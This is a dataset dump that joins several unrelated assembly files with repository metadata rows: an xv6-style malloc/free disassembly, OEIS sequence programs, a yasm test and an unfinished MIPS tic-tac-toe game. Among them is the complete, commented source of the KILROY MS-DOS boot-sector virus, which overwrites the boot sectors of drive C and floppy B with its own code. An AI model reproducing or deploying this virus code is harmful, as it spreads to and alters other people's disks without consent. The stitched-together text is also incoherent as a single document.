// Unknown % sequence. Print it to draw attention.
putc(fd, '%');
4189: 83 ec 08 sub $0x8,%esp
418c: 6a 25 push $0x25
418e: ff 75 08 pushl 0x8(%ebp)
4191: e8 d5 fd ff ff call 3f6b <putc>
4196: 83 c4 10 add $0x10,%esp
putc(fd, c);
4199: 8b 45 e4 mov -0x1c(%ebp),%eax
419c: 0f be c0 movsbl %al,%eax
419f: 83 ec 08 sub $0x8,%esp
41a2: 50 push %eax
41a3: ff 75 08 pushl 0x8(%ebp)
41a6: e8 c0 fd ff ff call 3f6b <putc>
41ab: 83 c4 10 add $0x10,%esp
}
state = 0;
41ae: c7 45 ec 00 00 00 00 movl $0x0,-0x14(%ebp)
for(i = 0; fmt[i]; i++){
41b5: 83 45 f0 01 addl $0x1,-0x10(%ebp)
41b9: 8b 55 0c mov 0xc(%ebp),%edx
41bc: 8b 45 f0 mov -0x10(%ebp),%eax
41bf: 01 d0 add %edx,%eax
41c1: 0f b6 00 movzbl (%eax),%eax
41c4: 84 c0 test %al,%al
41c6: 0f 85 94 fe ff ff jne 4060 <printf+0x22>
}
}
}
41cc: 90 nop
41cd: c9 leave
41ce: c3 ret
000041cf <free>:
static Header base;
static Header *freep;
void
free(void *ap)
{
41cf: 55 push %ebp
41d0: 89 e5 mov %esp,%ebp
41d2: 83 ec 10 sub $0x10,%esp
Header *bp, *p;
bp = (Header*)ap - 1;
41d5: 8b 45 08 mov 0x8(%ebp),%eax
41d8: 83 e8 08 sub $0x8,%eax
41db: 89 45 f8 mov %eax,-0x8(%ebp)
for(p = freep; !(bp > p && bp < p->s.ptr); p = p->s.ptr)
41de: a1 68 63 00 00 mov 0x6368,%eax
41e3: 89 45 fc mov %eax,-0x4(%ebp)
41e6: eb 24 jmp 420c <free+0x3d>
if(p >= p->s.ptr && (bp > p || bp < p->s.ptr))
41e8: 8b 45 fc mov -0x4(%ebp),%eax
41eb: 8b 00 mov (%eax),%eax
41ed: 39 45 fc cmp %eax,-0x4(%ebp)
41f0: 72 12 jb 4204 <free+0x35>
41f2: 8b 45 f8 mov -0x8(%ebp),%eax
41f5: 3b 45 fc cmp -0x4(%ebp),%eax
41f8: 77 24 ja 421e <free+0x4f>
41fa: 8b 45 fc mov -0x4(%ebp),%eax
41fd: 8b 00 mov (%eax),%eax
41ff: 39 45 f8 cmp %eax,-0x8(%ebp)
4202: 72 1a jb 421e <free+0x4f>
for(p = freep; !(bp > p && bp < p->s.ptr); p = p->s.ptr)
4204: 8b 45 fc mov -0x4(%ebp),%eax
4207: 8b 00 mov (%eax),%eax
4209: 89 45 fc mov %eax,-0x4(%ebp)
420c: 8b 45 f8 mov -0x8(%ebp),%eax
420f: 3b 45 fc cmp -0x4(%ebp),%eax
4212: 76 d4 jbe 41e8 <free+0x19>
4214: 8b 45 fc mov -0x4(%ebp),%eax
4217: 8b 00 mov (%eax),%eax
4219: 39 45 f8 cmp %eax,-0x8(%ebp)
421c: 73 ca jae 41e8 <free+0x19>
break;
if(bp + bp->s.size == p->s.ptr){
421e: 8b 45 f8 mov -0x8(%ebp),%eax
4221: 8b 40 04 mov 0x4(%eax),%eax
4224: 8d 14 c5 00 00 00 00 lea 0x0(,%eax,8),%edx
422b: 8b 45 f8 mov -0x8(%ebp),%eax
422e: 01 c2 add %eax,%edx
4230: 8b 45 fc mov -0x4(%ebp),%eax
4233: 8b 00 mov (%eax),%eax
4235: 39 c2 cmp %eax,%edx
4237: 75 24 jne 425d <free+0x8e>
bp->s.size += p->s.ptr->s.size;
4239: 8b 45 f8 mov -0x8(%ebp),%eax
423c: 8b 50 04 mov 0x4(%eax),%edx
423f: 8b 45 fc mov -0x4(%ebp),%eax
4242: 8b 00 mov (%eax),%eax
4244: 8b 40 04 mov 0x4(%eax),%eax
4247: 01 c2 add %eax,%edx
4249: 8b 45 f8 mov -0x8(%ebp),%eax
424c: 89 50 04 mov %edx,0x4(%eax)
bp->s.ptr = p->s.ptr->s.ptr;
424f: 8b 45 fc mov -0x4(%ebp),%eax
4252: 8b 00 mov (%eax),%eax
4254: 8b 10 mov (%eax),%edx
4256: 8b 45 f8 mov -0x8(%ebp),%eax
4259: 89 10 mov %edx,(%eax)
425b: eb 0a jmp 4267 <free+0x98>
} else
bp->s.ptr = p->s.ptr;
425d: 8b 45 fc mov -0x4(%ebp),%eax
4260: 8b 10 mov (%eax),%edx
4262: 8b 45 f8 mov -0x8(%ebp),%eax
4265: 89 10 mov %edx,(%eax)
if(p + p->s.size == bp){
4267: 8b 45 fc mov -0x4(%ebp),%eax
426a: 8b 40 04 mov 0x4(%eax),%eax
426d: 8d 14 c5 00 00 00 00 lea 0x0(,%eax,8),%edx
4274: 8b 45 fc mov -0x4(%ebp),%eax
4277: 01 d0 add %edx,%eax
4279: 39 45 f8 cmp %eax,-0x8(%ebp)
427c: 75 20 jne 429e <free+0xcf>
p->s.size += bp->s.size;
427e: 8b 45 fc mov -0x4(%ebp),%eax
4281: 8b 50 04 mov 0x4(%eax),%edx
4284: 8b 45 f8 mov -0x8(%ebp),%eax
4287: 8b 40 04 mov 0x4(%eax),%eax
428a: 01 c2 add %eax,%edx
428c: 8b 45 fc mov -0x4(%ebp),%eax
428f: 89 50 04 mov %edx,0x4(%eax)
p->s.ptr = bp->s.ptr;
4292: 8b 45 f8 mov -0x8(%ebp),%eax
4295: 8b 10 mov (%eax),%edx
4297: 8b 45 fc mov -0x4(%ebp),%eax
429a: 89 10 mov %edx,(%eax)
429c: eb 08 jmp 42a6 <free+0xd7>
} else
p->s.ptr = bp;
429e: 8b 45 fc mov -0x4(%ebp),%eax
42a1: 8b 55 f8 mov -0x8(%ebp),%edx
42a4: 89 10 mov %edx,(%eax)
freep = p;
42a6: 8b 45 fc mov -0x4(%ebp),%eax
42a9: a3 68 63 00 00 mov %eax,0x6368
}
42ae: 90 nop
42af: c9 leave
42b0: c3 ret
000042b1 <morecore>:
static Header*
morecore(uint nu)
{
42b1: 55 push %ebp
42b2: 89 e5 mov %esp,%ebp
42b4: 83 ec 18 sub $0x18,%esp
char *p;
Header *hp;
if(nu < 4096)
42b7: 81 7d 08 ff 0f 00 00 cmpl $0xfff,0x8(%ebp)
42be: 77 07 ja 42c7 <morecore+0x16>
nu = 4096;
42c0: c7 45 08 00 10 00 00 movl $0x1000,0x8(%ebp)
p = sbrk(nu * sizeof(Header));
42c7: 8b 45 08 mov 0x8(%ebp),%eax
42ca: c1 e0 03 shl $0x3,%eax
42cd: 83 ec 0c sub $0xc,%esp
42d0: 50 push %eax
42d1: e8 7d fc ff ff call 3f53 <sbrk>
42d6: 83 c4 10 add $0x10,%esp
42d9: 89 45 f4 mov %eax,-0xc(%ebp)
if(p == (char*)-1)
42dc: 83 7d f4 ff cmpl $0xffffffff,-0xc(%ebp)
42e0: 75 07 jne 42e9 <morecore+0x38>
return 0;
42e2: b8 00 00 00 00 mov $0x0,%eax
42e7: eb 26 jmp 430f <morecore+0x5e>
hp = (Header*)p;
42e9: 8b 45 f4 mov -0xc(%ebp),%eax
42ec: 89 45 f0 mov %eax,-0x10(%ebp)
hp->s.size = nu;
42ef: 8b 45 f0 mov -0x10(%ebp),%eax
42f2: 8b 55 08 mov 0x8(%ebp),%edx
42f5: 89 50 04 mov %edx,0x4(%eax)
free((void*)(hp + 1));
42f8: 8b 45 f0 mov -0x10(%ebp),%eax
42fb: 83 c0 08 add $0x8,%eax
42fe: 83 ec 0c sub $0xc,%esp
4301: 50 push %eax
4302: e8 c8 fe ff ff call 41cf <free>
4307: 83 c4 10 add $0x10,%esp
return freep;
430a: a1 68 63 00 00 mov 0x6368,%eax
}
430f: c9 leave
4310: c3 ret
00004311 <malloc>:
void*
malloc(uint nbytes)
{
4311: 55 push %ebp
4312: 89 e5 mov %esp,%ebp
4314: 83 ec 18 sub $0x18,%esp
Header *p, *prevp;
uint nunits;
nunits = (nbytes + sizeof(Header) - 1)/sizeof(Header) + 1;
4317: 8b 45 08 mov 0x8(%ebp),%eax
431a: 83 c0 07 add $0x7,%eax
431d: c1 e8 03 shr $0x3,%eax
4320: 83 c0 01 add $0x1,%eax
4323: 89 45 ec mov %eax,-0x14(%ebp)
if((prevp = freep) == 0){
4326: a1 68 63 00 00 mov 0x6368,%eax
432b: 89 45 f0 mov %eax,-0x10(%ebp)
432e: 83 7d f0 00 cmpl $0x0,-0x10(%ebp)
4332: 75 23 jne 4357 <malloc+0x46>
base.s.ptr = freep = prevp = &base;
4334: c7 45 f0 60 63 00 00 movl $0x6360,-0x10(%ebp)
433b: 8b 45 f0 mov -0x10(%ebp),%eax
433e: a3 68 63 00 00 mov %eax,0x6368
4343: a1 68 63 00 00 mov 0x6368,%eax
4348: a3 60 63 00 00 mov %eax,0x6360
base.s.size = 0;
434d: c7 05 64 63 00 00 00 movl $0x0,0x6364
4354: 00 00 00
}
for(p = prevp->s.ptr; ; prevp = p, p = p->s.ptr){
4357: 8b 45 f0 mov -0x10(%ebp),%eax
435a: 8b 00 mov (%eax),%eax
435c: 89 45 f4 mov %eax,-0xc(%ebp)
if(p->s.size >= nunits){
435f: 8b 45 f4 mov -0xc(%ebp),%eax
4362: 8b 40 04 mov 0x4(%eax),%eax
4365: 39 45 ec cmp %eax,-0x14(%ebp)
4368: 77 4d ja 43b7 <malloc+0xa6>
if(p->s.size == nunits)
436a: 8b 45 f4 mov -0xc(%ebp),%eax
436d: 8b 40 04 mov 0x4(%eax),%eax
4370: 39 45 ec cmp %eax,-0x14(%ebp)
4373: 75 0c jne 4381 <malloc+0x70>
prevp->s.ptr = p->s.ptr;
4375: 8b 45 f4 mov -0xc(%ebp),%eax
4378: 8b 10 mov (%eax),%edx
437a: 8b 45 f0 mov -0x10(%ebp),%eax
437d: 89 10 mov %edx,(%eax)
437f: eb 26 jmp 43a7 <malloc+0x96>
else {
p->s.size -= nunits;
4381: 8b 45 f4 mov -0xc(%ebp),%eax
4384: 8b 40 04 mov 0x4(%eax),%eax
4387: 2b 45 ec sub -0x14(%ebp),%eax
438a: 89 c2 mov %eax,%edx
438c: 8b 45 f4 mov -0xc(%ebp),%eax
438f: 89 50 04 mov %edx,0x4(%eax)
p += p->s.size;
4392: 8b 45 f4 mov -0xc(%ebp),%eax
4395: 8b 40 04 mov 0x4(%eax),%eax
4398: c1 e0 03 shl $0x3,%eax
439b: 01 45 f4 add %eax,-0xc(%ebp)
p->s.size = nunits;
439e: 8b 45 f4 mov -0xc(%ebp),%eax
43a1: 8b 55 ec mov -0x14(%ebp),%edx
43a4: 89 50 04 mov %edx,0x4(%eax)
}
freep = prevp;
43a7: 8b 45 f0 mov -0x10(%ebp),%eax
43aa: a3 68 63 00 00 mov %eax,0x6368
return (void*)(p + 1);
43af: 8b 45 f4 mov -0xc(%ebp),%eax
43b2: 83 c0 08 add $0x8,%eax
43b5: eb 3b jmp 43f2 <malloc+0xe1>
}
if(p == freep)
43b7: a1 68 63 00 00 mov 0x6368,%eax
43bc: 39 45 f4 cmp %eax,-0xc(%ebp)
43bf: 75 1e jne 43df <malloc+0xce>
if((p = morecore(nunits)) == 0)
43c1: 83 ec 0c sub $0xc,%esp
43c4: ff 75 ec pushl -0x14(%ebp)
43c7: e8 e5 fe ff ff call 42b1 <morecore>
43cc: 83 c4 10 add $0x10,%esp
43cf: 89 45 f4 mov %eax,-0xc(%ebp)
43d2: 83 7d f4 00 cmpl $0x0,-0xc(%ebp)
43d6: 75 07 jne 43df <malloc+0xce>
return 0;
43d8: b8 00 00 00 00 mov $0x0,%eax
43dd: eb 13 jmp 43f2 <malloc+0xe1>
for(p = prevp->s.ptr; ; prevp = p, p = p->s.ptr){
43df: 8b 45 f4 mov -0xc(%ebp),%eax
43e2: 89 45 f0 mov %eax,-0x10(%ebp)
43e5: 8b 45 f4 mov -0xc(%ebp),%eax
43e8: 8b 00 mov (%eax),%eax
43ea: 89 45 f4 mov %eax,-0xc(%ebp)
if(p->s.size >= nunits){
43ed: e9 6d ff ff ff jmp 435f <malloc+0x4e>
}
}
43f2: c9 leave
43f3: c3 ret
| 40.930189 | 240 | 0.436375 |
8f1c682bd0d696a03a910daa95e886b6a0f9dfb7 | 17,499 | asm | Assembly | MSDOS/Virus.MSDOS.Unknown.kilroy.asm | fengjixuchui/Family | 2abe167082817d70ff2fd6567104ce4bcf0fe304 | [
"MIT"
] | 3 | 2021-05-15T15:57:13.000Z | 2022-03-16T09:11:05.000Z | MSDOS/Virus.MSDOS.Unknown.kilroy.asm | fengjixuchui/Family | 2abe167082817d70ff2fd6567104ce4bcf0fe304 | [
"MIT"
] | null | null | null | MSDOS/Virus.MSDOS.Unknown.kilroy.asm | fengjixuchui/Family | 2abe167082817d70ff2fd6567104ce4bcf0fe304 | [
"MIT"
] | 3 | 2021-05-15T15:57:15.000Z | 2022-01-08T20:51:04.000Z | ;The KILROY one-sector boot sector virus will both boot up either MS-DOS or
;PC-DOS and it will infect other disks.
;This segment is where the first operating system file (IBMBIO.COM or IO.SYS)
;will be loaded and executed from. We don't know (or care) what is there, but
;we do need the address to jump to defined in a separate segment so we can
;execute a far jump to it.
DOS_LOAD SEGMENT AT 0070H
ASSUME CS:DOS_LOAD
ORG 0
LOAD: DB 0 ;Start of the first operating system program
DOS_LOAD ENDS
MAIN SEGMENT BYTE
ASSUME CS:MAIN,DS:MAIN,SS:NOTHING
;This jump instruction is just here so we can compile this program as a COM
;file. It is never actually executed, and never becomes a part of the boot
;sector. Only the 512 bytes after the address 7C00 in this file become part of
;the boot sector.
ORG 100H
START: jmp BOOTSEC
;The following two definitions are BIOS RAM bytes which contain information
;about the number and type of disk drives in the computer. These are needed by
;the virus to decide on where to look to find drives to infect. They are not
;normally needed by an ordinary boot sector.
ORG 0410H
SYSTEM_INFO: DB ? ;System info byte: Take bits 6 & 7 and add 1 to get number of
;disk drives on this system (eg 01 = 2 drives)
ORG 0475H
HD_COUNT: DB ? ;Number of hard drives in the system
;This area is reserved for loading the boot sector from the disk which is going
;to be infected, as well as the first sector of the root directory, when
;checking for the existence of system files and loading the first system file.
ORG 0500H
DISK_BUF: DW ? ;Start of the buffer
ORG 06FEH
NEW_ID: DW ? ;Location of AA55H in boot sector loaded at DISK_BUF
;Here is the start of the boot sector code. This is the chunk we will take out
;of the compiled COM file and put it in the first sector on a 360K floppy disk.
;Note that this MUST be loaded onto a 360K floppy to work, because the
;parameters in the data area that follow are set up to work only with a 360K
;disk!
ORG 7C00H
BOOTSEC: JMP BOOT ;Jump to start of boot sector code
ORG 7C03H ;This is needed because the jump will get coded as 2 bytes
DOS_ID: DB 'KILROY ' ;Name of this boot sector (8 bytes)
SEC_SIZE: DW 200H ;Size of a sector, in bytes
SECS_PER_CLUST: DB 02 ;Number of sectors in a cluster
FAT_START: DW 1 ;Starting sector for the first File Allocation Table (FAT)
FAT_COUNT: DB 2 ;Number of FATs on this disk
ROOT_ENTRIES: DW 70H ;Number of root directory entries
SEC_COUNT: DW 2D0H ;Total number of sectors on this disk
DISK_ID: DB 0FDH ;Disk type code (This is 360KB)
SECS_PER_FAT: DW 2 ;Number of sectors per FAT
SECS_PER_TRK: DW 9 ;Sectors per track for this drive
HEADS: DW 2 ;Number of heads (sides) on this drive
HIDDEN_SECS: DW 0 ;Number of hidden sectors on the disk
DSKBASETBL:
DB 0 ;Specify byte 1: step rate time, head unload time
DB 0 ;Specify byte 2: Head load time, DMA mode
DB 0 ;Wait time until motor turned off, in clock ticks
DB 0 ;Bytes per sector (0=128, 1=256, 2=512, 3=1024)
DB 12H ;Last sector number (we make it large enough to handle 1.2/1.44 MB floppies)
DB 0 ;Gap length between sectors for r/w operations, in bytes
DB 0 ;Data transfer length when sector length not specified
DB 0 ;Gap length between sectors for format operations, in bytes
DB 0 ;Value stored in newly formatted sectors
DB 1 ;Head settle time, in milliseconds (we set it small to speed operations)
DB 0 ;Motor startup time, in 1/8 seconds
HEAD: DB 0 ;Current head to read from (scratch area used by boot sector)
;Here is the start of the boot sector code
BOOT: CLI ;interrupts off
XOR AX,AX ;prepare to set up segments
MOV ES,AX ;set ES=0
MOV SS,AX ;start stack at 0000:7C00
MOV SP,OFFSET BOOTSEC
MOV BX,1EH*4 ;get address of disk
LDS SI,SS:[BX] ;param table in ds:si
PUSH DS
PUSH SI ;save that address
PUSH SS
PUSH BX ;and its address
MOV DI,OFFSET DSKBASETBL ;and update default
MOV CX,11 ;values to the table stored here
CLD ;direction flag cleared
DFLT1: LODSB
CMP BYTE PTR ES:[DI],0 ;anything non-zero
JNZ SHORT DFLT2 ;is not a default, so don't save it
STOSB ;else put default value in place
JMP SHORT DFLT3 ;and go on to next
DFLT2: INC DI
DFLT3: LOOP DFLT1 ;and loop until cx=0
MOV AL,AH ;set ax=0
MOV DS,AX ;set ds=0 so we can set disk tbl
MOV WORD PTR [BX+2],AX ;to @DSKBASETBL (ax=0 here)
MOV WORD PTR [BX],OFFSET DSKBASETBL ;ok, done
STI ;now turn interrupts on
INT 13H ;and reset disk drive system
ERROR1: JC ERROR1 ;if an error, hang the machine
;Attempt to self reproduce. If this boot sector is located on drive A, it will
;attempt to relocate to drive C. If successful, it will stop, otherwise it will
;attempt to relocate to drive B. If this boot sector is located on drive C, it
;will attempt to relocate to drive B.
SPREAD:
CALL DISP_MSG ;Display the "Kilroy was here!" message
MOV BX,OFFSET DISK_BUF ;read other boot sectors into this buffer
CMP BYTE PTR [DRIVE],80H
JZ SPREAD2 ;if it's C, go try to spread to B
MOV DX,180H ;if it's A, try to spread to C first, try Head 1
CMP BYTE PTR [HD_COUNT],0 ;see if there is a hard drive
JZ SPREAD2 ;none - try floppy B
MOV CX,1 ;read Track 0, Sector 1
MOV AX,201H
INT 13H
JC SPREAD2 ;on error, go try drive B
CMP WORD PTR [NEW_ID],0AA55H ;make sure it really is a boot sector
JNZ SPREAD2
CALL MOVE_DATA
MOV DX,180H ;and go write the new sector
MOV CX,1
MOV AX,301H
INT 13H
JC SPREAD2 ;if an error writing to C:, try infecting B:
JMP SHORT LOOK_SYS ;if no error, go look for system files
SPREAD2: MOV AL,BYTE PTR [SYSTEM_INFO] ;first see if there is a B drive
AND AL,0C0H
ROL AL,1 ;put bits 6 & 7 into bits 0 & 1
ROL AL,1
INC AL ;add one, so now AL=# of drives
CMP AL,2
JC LOOK_SYS ;no B drive, just quit
MOV DX,1 ;read drive B
MOV AX,201H ;read one sector
MOV CX,1 ;read Track 0, Sector 1
INT 13H
JC LOOK_SYS ;if an error here, just exit
CMP WORD PTR [NEW_ID],0AA55H ;make sure it really is a boot sector
JNZ LOOK_SYS ;no, don't attempt reproduction
CALL MOVE_DATA ;yes, move this boot sector in place
MOV DX,1
MOV AX,301H ;and write this boot sector to drive B
MOV CX,1
INT 13H
;Here we look at the first file on the disk to see if it is the first MS-DOS or
;PC-DOS system file, IO.SYS or IBMBIO.COM, respectively.
LOOK_SYS:
MOV AL,BYTE PTR [FAT_COUNT] ;get fats per disk
XOR AH,AH
MUL WORD PTR [SECS_PER_FAT] ;multiply by sectors per fat
ADD AX,WORD PTR [HIDDEN_SECS] ;add hidden sectors
ADD AX,WORD PTR [FAT_START] ;add starting fat sector
PUSH AX
MOV WORD PTR [DOS_ID],AX ;root dir, save it
MOV AX,20H ;dir entry size
MUL WORD PTR [ROOT_ENTRIES] ;dir size in ax
MOV BX,WORD PTR [SEC_SIZE] ;sector size
ADD AX,BX ;add one sector
DEC AX ;decrement by 1
DIV BX ;ax=# sectors in root dir
ADD WORD PTR [DOS_ID],AX ;DOS_ID=start of data
MOV BX,OFFSET DISK_BUF ;set up disk read buffer at 0000:0500
POP AX
CALL CONVERT ;and go convert sequential sector number to bios data
MOV AL,1 ;prepare for a disk read for 1 sector
CALL READ_DISK ;go read it
MOV DI,BX ;compare first file on disk with
MOV CX,11 ;required file name
MOV SI,OFFSET SYSFILE_1 ;of first system file for PC DOS
REPZ CMPSB
JZ SYSTEM_THERE ;ok, found it, go load it
MOV DI,BX ;compare first file with
MOV CX,11 ;required file name
MOV SI,OFFSET SYSFILE_2 ;of first system file for MS DOS
REPZ CMPSB
ERROR2: JNZ ERROR2 ;not the same - an error, so hang the machine
;Ok, system file is there, so load it
SYSTEM_THERE:
MOV AX,WORD PTR [DISK_BUF+1CH] ;get file size of IBMBIO.COM/IO.SYS
XOR DX,DX
DIV WORD PTR [SEC_SIZE] ;and divide by sector size
INC AL ;ax=number of sectors to read
MOV BP,AX ;store that number in BP
MOV AX,WORD PTR [DOS_ID] ;get sector number of start of data
PUSH AX
MOV BX,700H ;set disk read buffer to 0000:0700
RD_BOOT1: MOV AX,WORD PTR [DOS_ID] ;and get sector to read
CALL CONVERT ;convert to bios Trk/Cyl/Sec info
MOV AL,1 ;read one sector
CALL READ_DISK ;go read the disk
SUB BP,1 ;subtract 1 from number of sectors to read
JZ DO_BOOT ;and quit if we're done
ADD WORD PTR [DOS_ID],1 ;add sectors read to sector to read
ADD BX,WORD PTR [SEC_SIZE] ;and update buffer address
JMP RD_BOOT1 ;then go for another
;Ok, the first system file has been read in, now transfer control to it
DO_BOOT:
MOV CH,BYTE PTR [DISK_ID] ;Put drive type in ch
MOV DL,BYTE PTR [DRIVE] ;Drive number in dl
POP BX
; JMP FAR PTR LOAD ;use the nicer far jump if compiling with MASM or TASM
MOV AX,0070H ;A86 is too stupid to handle that,
PUSH AX ;so let's fool it with a far return
XOR AX,AX
PUSH AX
RETF
;Convert sequential sector number in ax to BIOS Track, Head, Sector information.
;Save track number in DX, sector number in CH,
CONVERT:
XOR DX,DX
DIV WORD PTR [SECS_PER_TRK] ;divide ax by sectors per track
INC DL ;dl=sector number to start read on, al=track/head count
MOV CH,DL ;save it here
XOR DX,DX
DIV WORD PTR [HEADS] ;divide ax by head count
MOV BYTE PTR [HEAD],DL ;dl=head number, save it
MOV DX,AX ;ax=track number, save it in dx
RET
;Read the disk for the number of sectors in al, into the buffer es:bx, using
;the track number in DX, the head number at HEAD, and the sector
;number at CH.
READ_DISK:
MOV AH,2 ;read disk command
MOV CL,6 ;shift possible upper 2 bits of track number to
SHL DH,CL ;the high bits in dh
OR DH,CH ;and put sector number in the low 6 bits
MOV CX,DX
XCHG CH,CL ;ch (0-5) = sector, cl, ch (6-7) = track
MOV DL,BYTE PTR [DRIVE] ;get drive number from here
MOV DH,BYTE PTR [HEAD] ;and head number from here
INT 13H ;go read the disk
ERROR3: JC ERROR3 ;hang in case of an error
RET
;Move data that doesn't change from this boot sector to the one read in at
;DISK_BUF. That includes everything but the DRIVE ID (at offset 7DFDH) and
;the data area at the beginning of the boot sector.
MOVE_DATA:
MOV SI,OFFSET DSKBASETBL ;Move all of the boot sector code after the data area
MOV DI,OFFSET DISK_BUF + (OFFSET DSKBASETBL - OFFSET BOOTSEC)
MOV CX,OFFSET DRIVE - OFFSET DSKBASETBL
REP MOVSB
MOV SI,OFFSET BOOTSEC ;Move the initial jump and the sector ID
MOV DI,OFFSET DISK_BUF
MOV CX,11
REP MOVSB
RET
;Display the null terminated string at MESSAGE.
DISP_MSG:
MOV SI,OFFSET MESSAGE ;set offset of message up
DM1: MOV AH,0EH ;Execute BIOS INT 10H, Fctn 0EH (Display Char)
LODSB ;get character to display
OR AL,AL
JZ DM2 ;repeat until 0
INT 10H ;display it
JMP SHORT DM1 ;and get another
DM2: RET
SYSFILE_1: DB 'IBMBIO COM' ;PC DOS System file
SYSFILE_2: DB 'IO SYS' ;MS DOS System file
MESSAGE: DB 'Kilroy was here!',0DH,0AH,0AH,0
ORG 7DFDH
DRIVE: DB 0 ;Disk drive (A or C) for this sector
BOOT_ID: DW 0AA55H ;Boot sector ID word
MAIN ENDS
END START
| 55.552381 | 124 | 0.453569 |
7129b3ff9c5c3756cf39c819af9dbdb12f50b25b | 577 | asm | Assembly | oeis/342/A342635.asm | neoneye/loda-programs | 84790877f8e6c2e821b183d2e334d612045d29c0 | [
"Apache-2.0"
] | 11 | 2021-08-22T19:44:55.000Z | 2022-03-20T16:47:57.000Z | oeis/342/A342635.asm | neoneye/loda-programs | 84790877f8e6c2e821b183d2e334d612045d29c0 | [
"Apache-2.0"
] | 9 | 2021-08-29T13:15:54.000Z | 2022-03-09T19:52:31.000Z | oeis/342/A342635.asm | neoneye/loda-programs | 84790877f8e6c2e821b183d2e334d612045d29c0 | [
"Apache-2.0"
] | 3 | 2021-08-22T20:56:47.000Z | 2021-09-29T06:26:12.000Z | ; A342635: a(0) = 0, a(1) = 1; a(2*n) = a(n), a(2*n+1) = 5*a(n) + a(n+1).
; Submitted by Christian Krause
; 0,1,1,6,1,11,6,31,1,16,11,61,6,61,31,156,1,21,16,91,11,116,61,311,6,91,61,336,31,311,156,781,1,26,21,121,16,171,91,466,11,171,116,641,61,616,311,1561,6,121,91,516,61,641,336,1711,31,466,311,1711,156,1561,781,3906,1,31,26,151,21,226,121,621,16,251,171,946,91,921,466,2341,11,226,171,971,116,1221,641,3266,61,921,616,3391,311,3116,1561,7811,6,151,121,696
mov $1,1
lpb $0
lpb $0
dif $0,2
add $1,$2
lpe
div $0,2
add $2,$1
mul $2,5
lpe
mov $0,$2
div $0,5
| 33.941176 | 354 | 0.62565 |
592da9f4933cdcb1263297231d6b2001e63bbe37 | 806 | asm | Assembly | oeis/141/A141874.asm | neoneye/loda-programs | 84790877f8e6c2e821b183d2e334d612045d29c0 | [
"Apache-2.0"
] | 11 | 2021-08-22T19:44:55.000Z | 2022-03-20T16:47:57.000Z | oeis/141/A141874.asm | neoneye/loda-programs | 84790877f8e6c2e821b183d2e334d612045d29c0 | [
"Apache-2.0"
] | 9 | 2021-08-29T13:15:54.000Z | 2022-03-09T19:52:31.000Z | oeis/141/A141874.asm | neoneye/loda-programs | 84790877f8e6c2e821b183d2e334d612045d29c0 | [
"Apache-2.0"
] | 3 | 2021-08-22T20:56:47.000Z | 2021-09-29T06:26:12.000Z | ; A141874: Primes congruent to 9 mod 19.
; Submitted by Jon Maiga
; 47,199,313,389,503,541,617,769,883,997,1187,1301,1453,1567,1871,2099,2137,2213,2251,2441,2593,2707,2897,3011,3049,3163,3391,3467,3581,3733,3847,3923,4493,4721,4759,4987,5101,5443,5519,5557,5861,6089,6203,6317,6469,6659,7001,7039,7229,7457,7723,7951,8179,8293,8369,8521,8597,8863,9091,9281,9319,9433,9547,9623,9661,9851,10079,10193,10459,10687,11257,11447,11789,11827,11903,11941,12473,12511,12739,12853,12967,13043,13309,13499,13537,13613,13841,13879,14107,14221,14411,14449,14563,14639,14753,14867
mov $2,$0
add $2,6
pow $2,2
mov $4,8
lpb $2
mov $3,$4
seq $3,10051 ; Characteristic function of primes: 1 if n is prime, else 0.
sub $0,$3
mov $1,$0
max $1,0
cmp $1,$0
mul $2,$1
sub $2,1
add $4,38
lpe
mov $0,$4
add $0,1
| 36.636364 | 500 | 0.725806 |
152f4666daf8c10e1b083390efcf80f2958dcccf | 58 | asm | Assembly | pkgs/tools/yasm/src/modules/arch/x86/tests/addrop-err.asm | manggoguy/parsec-modified | d14edfb62795805c84a4280d67b50cca175b95af | [
"BSD-3-Clause"
] | 2,151 | 2020-04-18T07:31:17.000Z | 2022-03-31T08:39:18.000Z | pkgs/tools/yasm/src/modules/arch/x86/tests/addrop-err.asm | manggoguy/parsec-modified | d14edfb62795805c84a4280d67b50cca175b95af | [
"BSD-3-Clause"
] | 395 | 2020-04-18T08:22:18.000Z | 2021-12-08T13:04:49.000Z | pkgs/tools/yasm/src/modules/arch/x86/tests/addrop-err.asm | manggoguy/parsec-modified | d14edfb62795805c84a4280d67b50cca175b95af | [
"BSD-3-Clause"
] | 338 | 2020-04-18T08:03:10.000Z | 2022-03-29T12:33:22.000Z | [BITS 32]
a16 idiv byte [dword 0] ; 67 F6 3D 00 00 00 00
| 19.333333 | 47 | 0.637931 |
c40dd0451bbf0c26fff115422512cb0585fc0cf3 | 2,643 | asm | Assembly | tictactoe.asm | FinnishArmy/ASM-Tic-Tac-Toe | 6273677c32a7cb235fb05eaceb9bd446ead1d2e9 | [
"Unlicense"
] | null | null | null | tictactoe.asm | FinnishArmy/ASM-Tic-Tac-Toe | 6273677c32a7cb235fb05eaceb9bd446ead1d2e9 | [
"Unlicense"
] | null | null | null | tictactoe.asm | FinnishArmy/ASM-Tic-Tac-Toe | 6273677c32a7cb235fb05eaceb9bd446ead1d2e9 | [
"Unlicense"
] | null | null | null | #Tic-Tac-Toe
#Ronny Valtonen
.data
grid: .word '_' '_' '_' '_' '_' '_' '_' '_' '_'
prompt: .asciiz "\nAre you 'X' or 'O':"
input: .asciiz "\nEnter a number from 1-9 starting from the top left:"
player2: .asciiz "\nO has won."
player1: .asciiz "\nX has won."
playAgain: .asciiz "\nNew game? (Y/n)"
#Begin program
.text
start:
#Player 1 Prompt
la $a0, prompt
li $v0, 4
syscall
#Check for entry
li $v0, 12
syscall
#Set player 1 move
move $s0, $v0
#Set player 2 entry
beq $s0, 'X', setPlayer2
li $s1, 'X'
setPlayer2:
li $s1, 'O'
la $s2, grid
#Print the board
move $a0, $s2
jal gridDisplay
#Loop until win
repeat:
#Player 1 Moves
move $a0, $s2
move $a1, $s0
jal placeMark
move $a0, $s2
jal gridDisplay
move $a0, $s2
move $a1, $s0
jal checkWinner
beq $v0, 0, next
li $v0, 4
la $a0, player1
syscall
j nextGame
next:
#Player 2 Moves
move $a0, $s2
move $a1, $s1
jal placeMark
move $a0, $s2
jal gridDisplay
move $a0, $s2
move $a1, $s1
jal checkWinner
beq $v0, 0, repeat
li $v0, 4
la $a0, player2
syscall
j nextGame
nextGame:
la $a0, playAgain
li $v0, 4
syscall
li $v0, 12
syscall
beq $v0, 'Y', start
#End of Tic-Tac-Toe
end:
li $v0, 10
syscall
#Board Printing
gridDisplay:
li $t0, 1
move $t1, $a0
li $t3, 3
li $a0, 10
li $v0, 11
syscall
dispLoop:
